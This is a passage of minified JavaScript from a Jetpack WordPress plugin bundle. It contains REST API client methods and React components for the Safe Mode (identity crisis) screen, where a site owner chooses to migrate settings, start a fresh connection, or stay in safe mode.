teLicenseKey:e=>h(`${n}jetpack/v4/licensing/set-license`,i,{body:JSON.stringify({license:e})}).then(m).then(u),getUserLicensesCounts:()=>p(`${n}jetpack/v4/licensing/user/counts`,c).then(m).then(u),getUserLicenses:()=>p(`${n}jetpack/v4/licensing/user/licenses`,c).then(m).then(u),updateLicensingActivationNoticeDismiss:e=>h(`${n}jetpack/v4/licensing/user/activation-notice-dismiss`,i,{body:JSON.stringify({last_detached_count:e})}).then(m).then(u),updateRecommendationsStep:e=>h(`${n}jetpack/v4/recommendations/step`,i,{body:JSON.stringify({step:e})}).then(m),confirmIDCSafeMode:()=>h(`${n}jetpack/v4/identity-crisis/confirm-safe-mode`,i).then(m),startIDCFresh:e=>h(`${n}jetpack/v4/identity-crisis/start-fresh`,i,{body:JSON.stringify({redirect_uri:e})}).then(m).then(u),migrateIDC:()=>h(`${n}jetpack/v4/identity-crisis/migrate`,i).then(m),attachLicenses:e=>h(`${n}jetpack/v4/licensing/attach-licenses`,i,{body:JSON.stringify({licenses:e})}).then(m).then(u),fetchSearchPlanInfo:()=>p(`${a}jetpack/v4/search/plan`,c).then(m).then(u),fetchSearchSettings:()=>p(`${a}jetpack/v4/search/settings`,c).then(m).then(u),updateSearchSettings:e=>h(`${a}jetpack/v4/search/settings`,i,{body:JSON.stringify(e)}).then(m).then(u),fetchSearchStats:()=>p(`${a}jetpack/v4/search/stats`,c).then(m).then(u),fetchWafSettings:()=>p(`${n}jetpack/v4/waf`,c).then(m).then(u),updateWafSettings:e=>h(`${n}jetpack/v4/waf`,i,{body:JSON.stringify(e)}).then(m).then(u),fetchWordAdsSettings:()=>p(`${n}jetpack/v4/wordads/settings`,c).then(m).then(u),updateWordAdsSettings:e=>h(`${n}jetpack/v4/wordads/settings`,i,{body:JSON.stringify(e)}),fetchSearchPricing:()=>p(`${a}jetpack/v4/search/pricing`,c).then(m).then(u),fetchMigrationStatus:()=>p(`${n}jetpack/v4/migration/status`,c).then(m).then(u),fetchBackupUndoEvent:()=>p(`${n}jetpack/v4/site/backup/undo-event`,c).then(m).then(u),fetchBackupPreflightStatus:()=>p(`${n}jetpack/v4/site/backup/preflight`,c).then(m).then(u)};function p(e,t){return fetch(l(e),t)}function h(e,t,n){return fetch(e,Object.assign({},t,n)).catch(g)}function f(e){return e.general&&void 0===e.general.response||e.week&&void 0===e.week.response||e.month&&void 0===e.month.response?e:{}}Object.assign(this,d)};function m(e){return e.status>=200&&e.status<300?e:404===e.status?new Promise((()=>{throw e.redirected?new l(e.redirected):new i})):e.json().catch((e=>h(e))).then((t=>{const n=new Error(`${t.message} (Status ${e.status})`);throw n.response=t,n.name="ApiError",n}))}function u(e){return e.json().catch((t=>h(t,e.redirected,e.url)))}function h(e,t,n){throw t?new c(n):new o}function g(){throw new d}},7142:(e,t,n)=>{"use strict";n.d(t,{A:()=>l});var r=n(8579),s=n.n(r),a=n(7723),o=n(2231),c=n(1609),i=n.n(c);const __=a.__,l=({logoColor:e="#069e08",showText:t=!0,className:n,height:r=32,...a})=>{const c=t?"0 0 118 32":"0 0 32 32";return i().createElement("svg",s()({xmlns:"http://www.w3.org/2000/svg",x:"0px",y:"0px",viewBox:c,className:(0,o.A)("jetpack-logo",n),"aria-labelledby":"jetpack-logo-title",height:r},a,{role:"img"}),i().createElement("title",{id:"jetpack-logo-title"},__("Jetpack Logo","jetpack-connection")),i().createElement("path",{fill:e,d:"M16,0C7.2,0,0,7.2,0,16s7.2,16,16,16s16-7.2,16-16S24.8,0,16,0z M15,19H7l8-16V19z M17,29V13h8L17,29z"}),t&&i().createElement(i().Fragment,null,i().createElement("path",{d:"M41.3,26.6c-0.5-0.7-0.9-1.4-1.3-2.1c2.3-1.4,3-2.5,3-4.6V8h-3V6h6v13.4C46,22.8,45,24.8,41.3,26.6z"}),i().createElement("path",{d:"M65,18.4c0,1.1,0.8,1.3,1.4,1.3c0.5,0,2-0.2,2.6-0.4v2.1c-0.9,0.3-2.5,0.5-3.7,0.5c-1.5,0-3.2-0.5-3.2-3.1V12H60v-2h2.1V7.1 H65V10h4v2h-4V18.4z"}),i().createElement("path",{d:"M71,10h3v1.3c1.1-0.8,1.9-1.3,3.3-1.3c2.5,0,4.5,1.8,4.5,5.6s-2.2,6.3-5.8,6.3c-0.9,0-1.3-0.1-2-0.3V28h-3V10z M76.5,12.3 c-0.8,0-1.6,0.4-2.5,1.2v5.9c0.6,0.1,0.9,0.2,1.8,0.2c2,0,3.2-1.3,3.2-3.9C79,13.4,78.1,12.3,76.5,12.3z"}),i().createElement("path",{d:"M93,22h-3v-1.5c-0.9,0.7-1.9,1.5-3.5,1.5c-1.5,0-3.1-1.1-3.1-3.2c0-2.9,2.5-3.4,4.2-3.7l2.4-0.3v-0.3c0-1.5-0.5-2.3-2-2.3 c-0.7,0-2.3,0.5-3.7,1.1L84,11c1.2-0.4,3-1,4.4-1c2.7,0,4.6,1.4,4.6,4.7L93,22z M90,16.4l-2.2,0.4c-0.7,0.1-1.4,0.5-1.4,1.6 c0,0.9,0.5,1.4,1.3,1.4s1.5-0.5,2.3-1V16.4z"}),i().createElement("path",{d:"M104.5,21.3c-1.1,0.4-2.2,0.6-3.5,0.6c-4.2,0-5.9-2.4-5.9-5.9c0-3.7,2.3-6,6.1-6c1.4,0,2.3,0.2,3.2,0.5V13 c-0.8-0.3-2-0.6-3.2-0.6c-1.7,0-3.2,0.9-3.2,3.6c0,2.9,1.5,3.8,3.3,3.8c0.9,0,1.9-0.2,3.2-0.7V21.3z"}),i().createElement("path",{d:"M110,15.2c0.2-0.3,0.2-0.8,3.8-5.2h3.7l-4.6,5.7l5,6.3h-3.7l-4.2-5.8V22h-3V6h3V15.2z"}),i().createElement("path",{d:"M58.5,21.3c-1.5,0.5-2.7,0.6-4.2,0.6c-3.6,0-5.8-1.8-5.8-6c0-3.1,1.9-5.9,5.5-5.9s4.9,2.5,4.9,4.9c0,0.8,0,1.5-0.1,2h-7.3 c0.1,2.5,1.5,2.8,3.6,2.8c1.1,0,2.2-0.3,3.4-0.7C58.5,19,58.5,21.3,58.5,21.3z M56,15c0-1.4-0.5-2.9-2-2.9c-1.4,0-2.3,1.3-2.4,2.9 C51.6,15,56,15,56,15z"})))}},6461:(e,t,n)=>{"use strict";n.d(t,{A:()=>i});var r=n(3619),s=n.n(r),a=n(1609),o=n.n(a);n(8325);const c=({color:e="#FFFFFF",className:t="",size:n=20})=>{const r=t+" jp-components-spinner",s={width:n,height:n,fontSize:n,borderTopColor:e},a={borderTopColor:e,borderRightColor:e};return o().createElement("div",{className:r},o().createElement("div",{className:"jp-components-spinner__outer",style:s},o().createElement("div",{className:"jp-components-spinner__inner",style:a})))};c.propTypes={color:s().string,className:s().string,size:s().number};const i=c},3924:(e,t,n)=>{"use strict";function r(e,t={}){const n={};let r;if("undefined"!=typeof window&&(r=window?.JP_CONNECTION_INITIAL_STATE?.calypsoEnv),0===e.search("https://")){const t=new URL(e);e=`https://${t.host}${t.pathname}`,n.url=encodeURIComponent(e)}else n.source=encodeURIComponent(e);for(const e in t)n[e]=encodeURIComponent(t[e]);!Object.keys(n).includes("site")&&"undefined"!=typeof jetpack_redirects&&Object.hasOwn(jetpack_redirects,"currentSiteRawUrl")&&(n.site=jetpack_redirects.currentBlogID??jetpack_redirects.currentSiteRawUrl),r&&(n.calypso_env=r);return"https://jetpack.com/redirect/?"+Object.keys(n).map((e=>e+"="+n[e])).join("&")}n.d(t,{A:()=>r})},6439:(e,t,n)=>{let r={};try{r=n(9074)}catch{console.error("jetpackConfig is missing in your webpack config file. See @automattic/jetpack-config"),r={missingConfig:!0}}const s=e=>Object.hasOwn(r,e);e.exports={jetpackConfigHas:s,jetpackConfigGet:e=>{if(!s(e))throw'This app requires the "'+e+'" Jetpack Config to be defined in your webpack configuration file. See details in @automattic/jetpack-config package docs.';return r[e]}}},3685:(e,t,n)=>{"use strict";n.d(t,{A:()=>y});var r=n(3924),s=n(6461),a=n(6427),o=n(7143),c=n(6087),i=n(7723),l=n(3619),d=n.n(l),p=n(1609),m=n.n(p),u=n(3207),h=n(1057),g=n(6043),f=n(6576);const __=i.__,k=e=>{const{isStartingFresh:t=!1,startFreshCallback:n=()=>{},customContent:l={},hasError:d=!1,isDevelopmentSite:p}=e,h=(0,g.A)(e.wpcomHomeUrl),k=(0,g.A)(e.currentUrl),y=(0,o.useSelect)((e=>e(u.a).getIsActionInProgress()),[]),v=l.startFreshButtonLabel||__("Create a fresh connection","jetpack-connection");return m().createElement("div",{className:"jp-idc__idc-screen__card-action-base"+(d?" jp-idc__idc-screen__card-action-error":"")},m().createElement("div",{className:"jp-idc__idc-screen__card-action-top"},m().createElement("h4",null,l.startFreshCardTitle?(0,c.createInterpolateElement)(l.startFreshCardTitle,{em:m().createElement("em",null)}):__("Treat each site as independent sites","jetpack-connection")),p?m().createElement("div",{className:"jp-idc__dev-mode-content"},(0,c.createInterpolateElement)(l.startFreshCardBodyTextDev||(0,i.sprintf)(/* translators: %1$s: The current site domain name. %2$s: The original site domain name. */
__("<p><strong>Recommended for</strong></p><list><item>development sites</item><item>sites that need access to all Jetpack features</item></list><p><strong>Please note</strong> that creating a fresh connection for <hostname>%1$s</hostname> would require restoring the connection on <hostname>%2$s</hostname> if that site is cloned back to production. <safeModeLink>Learn more</safeModeLink>.</p>","jetpack-connection"),k,h),{p:m().createElement("p",null),hostname:m().createElement("strong",null),em:m().createElement("em",null),strong:m().createElement("strong",null),list:m().createElement("ul",null),item:m().createElement("li",null),safeModeLink:m().createElement("a",{href:l.supportURL||(0,r.A)("jetpack-support-safe-mode"),rel:"noopener noreferrer",target:"_blank"})})):m().createElement("p",null,(0,c.createInterpolateElement)(l.startFreshCardBodyText||(0,i.sprintf)(/* translators: %1$s: The current site domain name. %2$s: The original site domain name. */
__("<hostname>%1$s</hostname> settings, stats, and subscribers will start fresh. <hostname>%2$s</hostname> will keep its data as is.","jetpack-connection"),k,h),{hostname:m().createElement("strong",null),em:m().createElement("em",null),strong:m().createElement("strong",null)}))),m().createElement("div",{className:"jp-idc__idc-screen__card-action-bottom"},m().createElement("div",null,p?null:((e,t)=>m().createElement("div",null,m().createElement("div",{className:"jp-idc__idc-screen__card-action-sitename"},e),m().createElement(a.Dashicon,{icon:"minus",className:"jp-idc__idc-screen__card-action-separator"}),m().createElement("div",{className:"jp-idc__idc-screen__card-action-sitename"},t)))(h,k)),m().createElement(a.Button,{className:"jp-idc__idc-screen__card-action-button",label:v,onClick:n,disabled:y},t?m().createElement(s.A,null):v),d&&(_=l.supportURL,m().createElement(f.A,null,(0,c.createInterpolateElement)(__("Could not create the connection. Retry or find out more <a>here</a>.","jetpack-connection"),{a:m().createElement("a",{href:_||(0,r.A)("jetpack-support-safe-mode"),rel:"noopener noreferrer",target:"_blank"})})))));var _};k.propTypes={wpcomHomeUrl:d().string.isRequired,currentUrl:d().string.isRequired,isStartingFresh:d().bool,startFreshCallback:d().func,customContent:d().shape(h.A),hasError:d().bool,isDevelopmentSite:d().bool};const y=k},6930:(e,t,n)=>{"use strict";n.d(t,{A:()=>y});var r=n(3924),s=n(6461),a=n(6427),o=n(7143),c=n(6087),i=n(7723),l=n(3619),d=n.n(l),p=n(1609),m=n.n(p),u=n(3207),h=n(1057),g=n(6043),f=n(6576);const __=i.__,k=e=>{const t=(0,g.A)(e.wpcomHomeUrl),n=(0,g.A)(e.currentUrl),l=(0,o.useSelect)((e=>e(u.a).getIsActionInProgress()),[]),{isMigrating:d=!1,migrateCallback:p=()=>{},customContent:h={},hasError:k=!1}=e,y=h.migrateButtonLabel||__("Move your settings","jetpack-connection");return m().createElement("div",{className:"jp-idc__idc-screen__card-action-base"+(k?" jp-idc__idc-screen__card-action-error":"")},m().createElement("div",{className:"jp-idc__idc-screen__card-action-top"},m().createElement("h4",null,h.migrateCardTitle?(0,c.createInterpolateElement)(h.migrateCardTitle,{em:m().createElement("em",null)}):__("Move Jetpack data","jetpack-connection")),m().createElement("p",null,(0,c.createInterpolateElement)(h.migrateCardBodyText||(0,i.sprintf)(/* translators: %1$s: The current site domain name. %2$s: The original site domain name. */
__("Move all your settings, stats and subscribers to your other URL, <hostname>%1$s</hostname>. <hostname>%2$s</hostname> will be disconnected from Jetpack.","jetpack-connection"),n,t),{hostname:m().createElement("strong",null),em:m().createElement("em",null),strong:m().createElement("strong",null)}))),m().createElement("div",{className:"jp-idc__idc-screen__card-action-bottom"},m().createElement("div",{className:"jp-idc__idc-screen__card-action-sitename"},t),m().createElement(a.Dashicon,{icon:"arrow-down-alt",className:"jp-idc__idc-screen__card-action-separator"}),m().createElement("div",{className:"jp-idc__idc-screen__card-action-sitename"},n),m().createElement(a.Button,{className:"jp-idc__idc-screen__card-action-button",label:y,onClick:p,disabled:l},d?m().createElement(s.A,null):y),k&&(v=h.supportURL,m().createElement(f.A,null,(0,c.createInterpolateElement)(__("Could not move your settings. Retry or find out more <a>here</a>.","jetpack-connection"),{a:m().createElement("a",{href:v||(0,r.A)("jetpack-support-safe-mode"),rel:"noopener noreferrer",target:"_blank"})})))));var v};k.propTypes={wpcomHomeUrl:d().string.isRequired,currentUrl:d().string.isRequired,isMigrating:d().bool,migrateCallback:d().func,customContent:d().shape(h.A),hasError:d().bool};const y=k},9882:(e,t,n)=>{"use strict";n.d(t,{A:()=>a});var r=n(1609),s=n.n(r);const a=()=>s().createElement("svg",{className:"error-gridicon",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",height:24},s().createElement("rect",{x:"0",fill:"none",width:"24",height:"24"}),s().createElement("g",null,s().createElement("path",{d:"M12 4c4.411 0 8 3.589 8 8s-3.589 8-8 8-8-3.589-8-8 3.589-8 8-8m0-2C6.477 2 2 6.477 2 12s4.477 10 10 10 10-4.477 10-10S17.523 2 12 2zm1 13h-2v2h2v-2zm-2-2h2l.5-6h-3l.5 6z"})))},6576:(e,t,n)=>{"use strict";n.d(t,{A:()=>o});var r=n(1609),s=n.n(r),a=n(9882);n(3810);const o=e=>{const{children:t}=e;return s().createElement("div",{className:"jp-idc__error-message"},s().createElement(a.A,null),s().createElement("span",null,t))}},7459:(e,t,n)=>{"use strict";n.d(t,{A:()=>k});var r=n(5932),s=n(7143),a=n(3619),o=n.n(a),c=n(1609),i=n.n(c),l=n(8101),d=n(5574),p=n(8502),m=n(3207),u=n(1057),h=n(2879),g=n(8979);const f=e=>{const{logo:t,customContent:n={},wpcomHomeUrl:a,currentUrl:o,apiNonce:u,apiRoot:f,redirectUri:k,tracksUserData:y,tracksEventData:v,isAdmin:_,possibleDynamicSiteUrlDetected:b,isDevelopmentSite:C}=e,[E,w]=(0,c.useState)(!1),j=(0,s.useSelect)((e=>e(m.a).getErrorType()),[]),{isMigrating:S,migrateCallback:A}=(0,l.A)((0,c.useCallback)((()=>{w(!0)}),[w])),{isStartingFresh:F,startFreshCallback:I}=(0,p.A)(k),{isFinishingMigration:U,finishMigrationCallback:T}=(0,d.A)();return(0,c.useEffect)((()=>{r.Ay.setApiRoot(f),r.Ay.setApiNonce(u),(0,h.f)(v,y),v&&(Object.hasOwn(v,"isAdmin")&&v.isAdmin?(0,h.A)("notice_view"):(0,h.A)("non_admin_notice_view",{page:!!Object.hasOwn(v,"currentScreen")&&v.currentScreen}))}),[f,u,y,v]),i().createElement(g.A,{logo:t,customContent:n,wpcomHomeUrl:a,currentUrl:o,redirectUri:k,isMigrating:S,migrateCallback:A,isMigrated:E,finishMigrationCallback:T,isFinishingMigration:U,isStartingFresh:F,startFreshCallback:I,isAdmin:_,hasStaySafeError:"safe-mode"===j,hasFreshError:"start-fresh"===j,hasMigrateError:"migrate"===j,possibleDynamicSiteUrlDetected:b,isDevelopmentSite:C})};f.propTypes={logo:o().oneOfType([o().string,o().object]),customContent:o().shape(u.A),wpcomHomeUrl:o().string.isRequired,currentUrl:o().string.isRequired,redirectUri:o().string.isRequired,apiRoot:o().string.isRequired,apiNonce:o().string.isRequired,tracksUserData:o().object,tracksEventData:o().object,isAdmin:o().bool.isRequired,possibleDynamicSiteUrlDetected:o().bool,isDevelopmentSite:o().bool};const k=f},1217:(e,t,n)=>{"use strict";n.d(t,{A:()=>f});var r=n(3924),s=n(6087),a=n(7723),o=n(3619),c=n.n(o),i=n(1609),l=n.n(i),d=n(1057),p=n(6043),m=n(3685),u=n(6930),h=n(1133);const __=a.__,g=e=>{const{wpcomHomeUrl:t,currentUrl:n,isMigrating:o=!1,migrateCallback:c,isStartingFresh:i=!1,startFreshCallback:d,customContent:g={},hasMigrateError:f=!1,hasFreshError:k=!1,hasStaySafeError:y=!1,possibleDynamicSiteUrlDetected:v=!1,isDevelopmentSite:_}=e,b=(0,p.A)(e.wpcomHomeUrl),C=(0,p.A)(e.currentUrl);return l().createElement(l().Fragment,null,l().createElement("h2",null,g.mainTitle?(0,s.createInterpolateElement)(g.mainTitle,{em:l().createElement("em",null)}):__("Safe Mode has been activated","jetpack-connection")),l().createElement("p",null,_?(0,s.createInterpolateElement)(g.mainBodyTextDev||(0,a.sprintf)(/* translators: %1$s: The current site domain name. %2$s: The original site domain name. */
__("<span>Your site is in Safe Mode because <hostname>%1$s</hostname> appears to be a staging or development copy of <hostname>%2$s</hostname>.</span>Two sites that are telling Jetpack they’re the same site. <safeModeLink>Learn more or troubleshoot common Safe mode issues</safeModeLink>.","jetpack-connection"),C,b),{span:l().createElement("span",{style:{display:"block"}}),hostname:l().createElement("strong",null),em:l().createElement("em",null),strong:l().createElement("strong",null),safeModeLink:l().createElement("a",{href:g.supportURL||(0,r.A)("jetpack-support-safe-mode"),rel:"noopener noreferrer",target:"_blank"})}):(0,s.createInterpolateElement)(g.mainBodyText||__("Your site is in Safe Mode because you have 2 Jetpack-powered sites that appear to be duplicates. Two sites that are telling Jetpack they’re the same site. <safeModeLink>Learn more about safe mode.</safeModeLink>","jetpack-connection"),{safeModeLink:l().createElement("a",{href:g.supportURL||(0,r.A)("jetpack-support-safe-mode"),rel:"noopener noreferrer",target:"_blank"}),em:l().createElement("em",null),strong:l().createElement("strong",null)})),v&&l().createElement("p",null,(0,s.createInterpolateElement)(g.dynamicSiteUrlText||__("<strong>Notice:</strong> It appears that your 'wp-config.php' file might be using dynamic site URL values. Dynamic site URLs could cause Jetpack to enter Safe Mode. <dynamicSiteUrlSupportLink>Learn how to set a static site URL.</dynamicSiteUrlSupportLink>","jetpack-connection"),{dynamicSiteUrlSupportLink:l().createElement("a",{href:g.dynamicSiteUrlSupportLink||(0,r.A)("jetpack-idcscreen-dynamic-site-urls"),rel:"noopener noreferrer",target:"_blank"}),em:l().createElement("em",null),strong:l().createElement("strong",null)})),l().createElement("h3",null,__("Please select an option","jetpack-connection")),l().createElement("div",{className:"jp-idc__idc-screen__cards"+(f||k?" jp-idc__idc-screen__cards-error":"")},_?l().createElement(l().Fragment,null,l().createElement(m.A,{wpcomHomeUrl:t,currentUrl:n,isStartingFresh:i,startFreshCallback:d,customContent:g,hasError:k,isDevelopmentSite:_}),l().createElement("div",{className:"jp-idc__idc-screen__cards-separator"},"or"),l().createElement(h.A,{hasError:y,customContent:g,isDevelopmentSite:_})):l().createElement(l().Fragment,null,l().createElement(u.A,{wpcomHomeUrl:t,currentUrl:n,isMigrating:o,migrateCallback:c,customContent:g,hasError:f}),l().createElement("div",{className:"jp-idc__idc-screen__cards-separator"},"or"),l().createElement(m.A,{wpcomHomeUrl:t,currentUrl:n,isStartingFresh:i,startFreshCallback:d,customContent:g,hasError:k,isDevelopmentSite:_}))),_?null:l().createElement(h.A,{hasError:y,customContent:g}))};g.propTypes={wpcomHomeUrl:c().string.isRequired,currentUrl:c().string.isRequired,isMigrating:c().bool,migrateCallback:c().func,isStartingFresh:c().bool,startFreshCallback:c().func,customContent:c().shape(d.A),hasMigrateError:c().bool,hasFreshError:c().bool,hasStaySafeError:c().bool,possibleDynamicSiteUrlDetected:c().bool,isDevelopmentSite:c().bool};const f=g},4295:(e,t,n)=>{"use strict";n.d(t,{A:()=>h});var r=n(6461),s=n(6427),a=n(6087),o=n(7723),c=n(3619),i=n.n(c),l=n(1609),d=n.n(l),p=n(1057),m=n(6043);const __=o.__,u=e=>{const{finishCallback:t=()=>{},isFinishing:n=!1,customContent:c={}}=e,i=(0,m.A)(e.wpcomHomeUrl),l=(0,m.A)(e.currentUrl),p=__("Got it, thanks","jetpack-connection");return d().createElement(d().Fragment,null,d().createElement("h2",null,c.migratedTitle?(0,a.createInterpolateElement)(c.migratedTitle,{em:d().createElement("em",null)}):__("Your Jetpack settings have migrated successfully","jetpack-connection")),d().createElement("p",null,(0,a.createInterpolateElement)(c.migratedBodyText||(0,o.sprintf)(/* translators: %1$s: The current site domain name. */
__("Safe Mode has been switched off for <hostname>%1$s</hostname> website and Jetpack is fully functional.","jetpack-connection"),l),{hostname:d().createElement("strong",null),em:d().createElement("em",null),strong:d().createElement("strong",null)})),d().createElement("div",{className:"jp-idc__idc-screen__card-migrated"},d().createElement("div",{className:"jp-idc__idc-screen__card-migrated-hostname"},i),d().createElement(s.Dashicon,{icon:"arrow-down-alt",className:"jp-idc__idc-screen__card-migrated-separator"}),d().createElement(s.Dashicon,{icon:"arrow-right-alt",className:"jp-idc__idc-screen__card-migrated-separator-wide"}),d().createElement("div",{className:"jp-idc__idc-screen__card-migrated-hostname"},l)),d().createElement(s.Button,{className:"jp-idc__idc-screen__card-action-button jp-idc__idc-screen__card-action-button-migrated",onClick:t,label:p},n?d().createElement(r.A,null):p))};u.propTypes={wpcomHomeUrl:i().string.isRequired,currentUrl:i().string.isRequired,finishCallback:i().func,isFinishing:i().bool,customContent:i().shape(p.A)};const h=u},9291:(e,t,n)=>{"use strict";n.d(t,{A:()=>m});var r=n(3924),s=n(6087),a=n(7723),o=n(3619),c=n.n(o),i=n(1609),l=n.n(i),d=n(1057);const __=a.__,p=e=>{const{customContent:t={}}=e;return l().createElement(l().Fragment,null,l().createElement("h2",null,t.nonAdminTitle?(0,s.createInterpolateElement)(t.nonAdminTitle,{em:l().createElement("em",null)}):__("Safe Mode has been activated","jetpack-connection")),l().createElement("p",null,(0,s.createInterpolateElement)(t.nonAdminBodyText||__("This site is in Safe Mode because there are 2 Jetpack-powered sites that appear to be duplicates. 2 sites that are telling Jetpack they’re the same site. <safeModeLink>Learn more about safe mode.</safeModeLink>","jetpack-connection"),{safeModeLink:l().createElement("a",{href:t.supportURL||(0,r.A)("jetpack-support-safe-mode"),rel:"noopener noreferrer",target:"_blank"}),em:l().createElement("em",null),strong:l().createElement("strong",null)})),t.nonAdminBodyText?"":l().createElement("p",null,__("An administrator of this site can take Jetpack out of Safe Mode.","jetpack-connection")))};p.propTypes={customContent:c().shape(d.A)};const m=p},8979:(e,t,n)=>{"use strict";n.d(t,{A:()=>g});var r=n(7142),s=n(6087),a=n(7723),o=n(3619),c=n.n(o),i=n(1609),l=n.n(i),d=n(1057),p=n(1217),m=n(4295),u=n(9291);n(3055);const __=a.__,h=e=>{const{logo:t=l().createElement(r.A,{height:24}),customContent:n={},wpcomHomeUrl:a,currentUrl:o,redirectUri:c,isMigrating:i=!1,migrateCallback:d,isMigrated:h=!1,finishMigrationCallback:g,isFinishingMigration:f=!1,isStartingFresh:k=!1,startFreshCallback:y,isAdmin:v,hasMigrateError:_=!1,hasFreshError:b=!1,hasStaySafeError:C=!1,possibleDynamicSiteUrlDetected:E=!1,isDevelopmentSite:w}=e,j=v?"":l().createElement(u.A,{customContent:n});let S="";return v&&(S=h?l().createElement(m.A,{wpcomHomeUrl:a,currentUrl:o,finishCallback:g,isFinishing:f,customContent:n}):l().createElement(p.A,{wpcomHomeUrl:a,currentUrl:o,redirectUri:c,customContent:n,isMigrating:i,migrateCallback:d,isStartingFresh:k,startFreshCallback:y,hasMigrateError:_,hasFreshError:b,hasStaySafeError:C,possibleDynamicSiteUrlDetected:E,isDevelopmentSite:w})),l().createElement("div",{className:"jp-idc__idc-screen"+(h?" jp-idc__idc-screen__success":"")},l().createElement("div",{className:"jp-idc__idc-screen__header"},l().createElement("div",{className:"jp-idc__idc-screen__logo"},((e,t)=>"string"==typeof e||e instanceof String?l().createElement("img",{src:e,alt:t,className:"jp-idc__idc-screen__logo-image"}):e)(t,n.logoAlt||"")),l().createElement("div",{className:"jp-idc__idc-screen__logo-label"},n.headerText?(0,s.createInterpolateElement)(n.headerText,{em:l().createElement("em",null),strong:l().createElement("strong",null)}):__("Safe Mode","jetpack-connection"))),j,S)};h.propTypes={logo:c().oneOfType([c().string,c().object]),customContent:c().shape(d.A),wpcomHomeUrl:c().string.isRequired,currentUrl:c().string.isRequired,redirectUri:c().string.isRequired,isMigrating:c().bool,migrateCallback:c().func,isMigrated:c().bool,finishMigrationCallback:c().func,isFinishingMigration:c().bool,isStartingFresh:c().bool,startFreshCallback:c().func,isAdmin:c().bool.isRequired,hasMigrateError:c().bool,hasFreshError:c().bool,hasStaySafeError:c().bool,possibleDynamicSiteUrlDetected:c().bool,isDevelopmentSite:c().bool};const g=h},1133:(e,t,n)=>{"use strict";n.d(t,{A:()=>C});var r=n(5932),s=n(6461),a=n(3924),o=n(6427),c=n(9491),i=n(7143),l=n(6087),d=n(7723),p=n(3832),m=n(3619),u=n.n(m),h=n(1609),g=n.n(h),f=n(3207),k=n(1057),y=n(2879),v=n(6576);n(9521);const __=d.__,_=e=>g().createElement(v.A,null,(0,l.createInterpolateElement)(__("Could not stay in safe mode. Retry or find out more <a>here</a>.","jetpack-connection"),{a:g().createElement("a",{href:e||(0,a.A)("jetpack-support-safe-mode"),rel:"noopener noreferrer",target:"_blank"})})),b=e=>{const{isActionInProgress:t,setIsActionInProgress:n,setErrorType:c,clearErrorType:i,hasError:d=!1,customContent:m,isDevelopmentSite:u}=e,[f,k]=(0,h.useState)(!1),v=m.stayInSafeModeButtonLabel||__("Stay in Safe mode","jetpack-connection"),b=(0,h.useCallback)((()=>{t||(k(!0),n(!0),i(),(0,y.A)("confirm_safe_mode"),r.Ay.confirmIDCSafeMode().then((()=>{window.location.href=(0,p.removeQueryArgs)(window.location.href,"jetpack_idc_clear_confirmation","_wpnonce")})).catch((e=>{throw n(!1),k(!1),c("safe-mode"),e})))}),[t,n,c,i]);return g().createElement(g().Fragment,null,u?g().createElement("div",{className:"jp-idc__idc-screen__card-action-base"+(d?" jp-idc__idc-screen__card-action-error":"")},g().createElement("div",{className:"jp-idc__idc-screen__card-action-top"},g().createElement("h4",null,m.safeModeTitle?(0,l.createInterpolateElement)(m.safeModeTitle,{em:g().createElement("em",null)}):__("Stay in Safe Mode","jetpack-connection")),g().createElement("div",null,(0,l.createInterpolateElement)(m.safeModeCardBodyText||/* translators: %1$s: The current site domain name. %2$s: The original site domain name. */
__("<p><strong>Recommended for</strong></p><list><item>short-lived test sites</item><item>sites that will be cloned back to production after testing</item></list><p><strong>Please note</strong> that staying in Safe mode will disable some Jetpack features, including security features such as SSO, firewall, and site monitor. <safeModeLink>Learn more</safeModeLink>.</p>","jetpack-connection"),{p:g().createElement("p",null),hostname:g().createElement("strong",null),em:g().createElement("em",null),strong:g().createElement("strong",null),list:g().createElement("ul",null),item:g().createElement("li",null),safeModeLink:g().createElement("a",{href:m.supportURL||(0,a.A)("jetpack-support-safe-mode"),rel:"noopener noreferrer",target:"_blank"})}))),g().createElement("div",{className:"jp-idc__idc-screen__card-action-bottom"},g().createElement(o.Button,{className:"jp-idc__idc-screen__card-action-button-secondary",label:v,onClick:b,disabled:t},f?g().createElement(s.A,{color:"black"}):v),d&&_(m.supportURL))):g().createElement("div",{className:"jp-idc__safe-mode"},f?g().createElement("div",{className:"jp-idc__safe-mode__staying-safe"},g().createElement(s.A,{color:"black"}),g().createElement("span",null,__("Finishing setting up Safe mode…","jetpack-connection"))):(C=b,E=t,(0,l.createInterpolateElement)(__("Or decide later and stay in <button>Safe mode</button>","jetpack-connection"),{button:g().createElement(o.Button,{label:__("Safe mode","jetpack-connection"),variant:"link",onClick:C,disabled:E})})),d&&_(m.supportURL)));var C,E};b.propTypes={isActionInProgress:u().bool,setIsActionInProgress:u().func.isRequired,setErrorType:u().func.isRequired,clearErrorType:u().func.isRequired,hasError:u().bool,customContent:u().shape(k.A),isDevelopmentSite:u().bool};const C=(0,c.compose)([(0,i.withSelect)((e=>({isActionInProgress:e(f.a).getIsActionInProgress()}))),(0,i.withDispatch)((e=>({setIsActionInProgress:e(f.a).setIsActionInProgress,setErrorType:e(f.a).setErrorType,clearErrorType:e(f.a).clearErrorType})))])(b)},5574:(e,t,n)=>{"use strict";n.d(t,{A:()=>s});var r=n(1609);const s=()=>{const[e,t]=(0,r.useState)(!1),n=(0,r.useCallback)((()=>{e||(t(!0),window.location.reload())}),[e,t]);return{isFinishingMigration:e,finishMigrationCallback:n}}},8101:(e,t,n)=>{"use strict";n.d(t,{A:()=>i});var r=n(5932),s=n(7143),a=n(1609),o=n(3207),c=n(2879);const i=e=>{const[t,n]=(0,a.useState)(!1),i=(0,s.useSelect)((e=>e(o.a).getIsActionInProgress()),[]),{setIsActionInProgress:l,setErrorType:d,clearErrorType:p}=(0,s.useDispatch)(o.a);return{isMigrating:t,migrateCallback:(0,a.useCallback)((()=>{i||((0,c.A)("migrate"),l(!0),n(!0),p(),r.Ay.migrateIDC().then((()=>{n(!1),e&&"[object Function]"==={}.toString.call(e)&&e()})).catch((e=>{throw l(!1),n(!1),d("migrate"),e})))}),[n,e,i,l,d,p])}}},8502:(e,t,n)=>{"use strict";n.d(t,{A:()=>i});var r=n(5932),s=n(7143),a=n(1609),o=n(3207),c=n(2879);const 